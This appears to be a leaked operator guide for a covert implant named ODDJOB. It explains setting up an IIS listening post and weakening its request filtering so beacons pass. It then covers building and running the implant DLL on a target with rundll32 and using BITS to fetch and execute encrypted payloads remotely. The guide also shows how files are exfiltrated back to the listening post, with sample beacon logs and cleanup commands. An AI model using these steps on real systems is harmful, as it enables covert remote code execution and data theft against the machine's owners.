How to setup IIS 7 for ODDJOB

- In Windows 2008 open Server Manager as Administrator
- The firewalls should be turned on (if they're not already).
- Under roles, add role IIS to install the IIS server snap-in. Click through the wizard.
- Under Features, add BITS. This is critical for ODDJOB uploads. Click through the installation wizard and install any dependencies including Request Filtering. We'll get back to Request Filtering later.
- In IIS under Connections find the Home (WIN-BLAHBLAH), click Server Certificates, and create a self signed cert. Unless you have a real one, then use that of course.
- Remove the Default Web page. You may be able to skip this, but I've had troubles with the Default Page before.
- If you removed the Default Web Page, make a new site by right-clicking sites, add web site. Name the site (ie OJ LP or something more OPSEC smart) and set the IP address.
- In the website page, go to SSL settings, make sure you don't enforce SSL. Some ODDJOB beacons will be http.
- In the website page, edit bindings, add a new one, namely https, use the self signed cert (or real cert). Specify the IP address of the LP.
- In the website page, create a virtual directory that points to C:\Inetpub\wwwroot or where ever you want your files to go.
- In the website page, click BITS uploads and Check "Allow clients to upload files". This is critical for ODDJOB uploads. The Default Settings will work fine.
- Check connection by browsing to http://localhost or https://localhost. Also, do the same from another machine using the server's IP address in lieu of localhost just to be sure.
- Request Filtering will prevent strange characters, like '+', from being requested. This kills ODDJOB because it has base64 encoded beacons that contain '+'. So, there are two work arounds. If you have the BITS Administration Tool installed you can use the server manager to navigate to Request Filtering and uncheck Double Escaping. Removing Double escaping is perhaps not the best thing to do, but it does allow ODDJOB traffic through. Getting the BITS Admin tool can be a pain, it's not in SWL, so the more direct way is to open C:\Windows\System32\inetsrv\config\applicationHost.config. You may want to make a backup of this first because you're going to edit it. Find the line that reads:

```
<requestFiltering>
```

and replace it with

```
<requestFiltering allowDoubleEscaping="True">
```

ODDJOB Testing

The Builder

The ODDJOB builder (ODDJOB_BUilder_v3.hta) can both configure a new implant as well as create a new encrypted payload. It's essential for ODDJOB testing. It can be found in https://gotcc.k1.k.nsa/view/projects/Release/DNT-

Released/Oddjob/ODDJOB_v3.0/Bin/ODDJOB_builder/ . Copy the whole directory because it contains some unconfigured binaries that it needs. When the builder is run it will dump out the new oddjob binary in the builder/Projects/Test subdirectory by default.

Provision an ODDJOB implant

In order to test that ODDJOB can work with the LP we'll have to provision/configure an ODDJOB dll. These are the steps for provisioning an ODDJOB implant via the Builder. Essentially the same steps, though perhaps in a different order, can be followed if using FELONYCROWBAR.

- Provision a copy of an oddjob dll using FELONYCROWBAR or the OJ v3.0 builder. Specify the address of the LP, ie 'http://123.45.67.89'. Alternatively, to test SSL, you'll need to build another version with 'https://123.45.67.89'.
- Set the Beacon Interval to 60 FOR TESTING ONLY! This will cause ODDJOB to beacon every 60 seconds which is a terrible thing to do in practice because we'll get caught.
- Set the Beacon Count to something big enough for testing, say 5000.
- Set the Upload Beacon Interval to 60 FOR TESTING ONLY! Again, this will cause ODDJOB to send out it's upload beacon every 60 seconds. While this is fine in testing, it is really bad in practice.
- Select the Output Type of your choice. For ODDJOB v3.0 you should see DLL x64(64-bit) or DLL x86(32-bit). Select what's appropriate for the box.
- Click Build.
- There should now be a file called 'oddjob.dll'. The configured implant will be written to a directory listed in the bottom of the Builder.

Running ODDJOB

- Copy oddjob.dll to the target machine.
- Copy a version of bitsadmin.exe to the target machine. It's handy but not absolutely necessary.
- Run ODDJOB from the command line with :

```
rundll32 oddjob.dll, dll_u
```

- If bitsadmin is available, run the following to see the BITS job that ODDJOB created.

```
bitsadmin /list /verbose
```

- On the LP, there should be an IIS log file in C:\inetpub\logs\LogFiles\W3SVC1 (or maybe W3SVC2) on Win2k8. The log should have a name like u_ex120622.log (or maybe just ex120622.log) on June 22nd, 2012. Open the log and verify that there's a beacon that looks like

```
2012-06-22 18:38:09 135.2.26.58 - 135.2.26.160 80 GET
/kfb3ZM2CkxDYABhur2jyNME7b8c9Qsn8nNrj4CmtKR7RXNkrWkvtpLQlnG-
U3a9bFoF5SEk1lPZh8bbdhTNWGk4cXOEcGq132GQq.cab - 404 Microsoft+BITS/6.7
```

- Copy the beacon string (assetID) ie:

```
kfb3ZM2CkxDYABhur2jyNME7b8c9Qsn8nNrj4CmtKR7RXNkrWkvtpLQlnG-
U3a9bFoF5SEk1lPZh8bbdhTNWGk4cXOEcGq132GQq.cab
```

Downloads

- ODDJOB will expect an encrypted payload. To encrypt the payload, open the Builder and navigate down to the "Payload Encryption" section.
- Select an Unencrypted Payload, ie what you want to run on target.
- Then select an encrypted payload, which is really a dummy file for now.
- Then select exe or dll depending on whether the Unencrypted Payload is an exe or dll.
- Paste the beacon string (asset ID) into the Survey Data field and click "EncryptPayload"
- Copy the payload over to the C:\Inetpub\wwwroot directory on the LP, or where ever the files were configured to go during IIS setup.
- Name the file with the beacon string. This is because this is the name of the file ODDJOB is looking for, ie 'kfb32ZM... .cab.' using the example above.
- Wait. ODDJOB should pull that file during it's next beacon and run it on target. Verify that the target was run. For example, if Minesweeper was selected as the Unencrypted Payload you should see Minesweeper pop up on target.
- Play Minesweeper on Target.
- The Download testing is complete.

Uploads

During the initial building of ODDJOB an Upload file name was specified. The default is 4393update.xml.

- On Target, copy whatever file you want to upload to 4393update.xml (or whatever the Upload File Name was set as.) Be careful, when the upload is complete this file will be deleted so make a copy if need be.
- Wait. If everything is configured correctly, you'll see a file pop up in C:\Inetpub\wwwroot on the LP named 123456update.xml, where the first six digits (ie 123456) are random. Open the file to ensure that the upload completed successfully.
- If the upload was Minesweeper, change the xml extension to exe and play Minesweeper.
- Upload testing is complete.

Cleaning UP

For testing purposes, the ODDJOB BITS jobs can be killed with

```
bitsadmin /reset
```

This will not delete all traces of ODDJOB. Follow the ODDJOB page on the ROC Wiki for more details on how to do that. But, this command will stop the current jobs, so that your logs don't get clogged with beacons.

Being Thorough

- **Now, repeat all of those steps with https** The SSL connection has to be verified and is often the cause of connection errors. So, this step is really necessary. **Skip ODDJOB https upload testing until the new version (3.0.0.1) is released.)**
- Drink a beer because you're done. Hey, you're just following directions.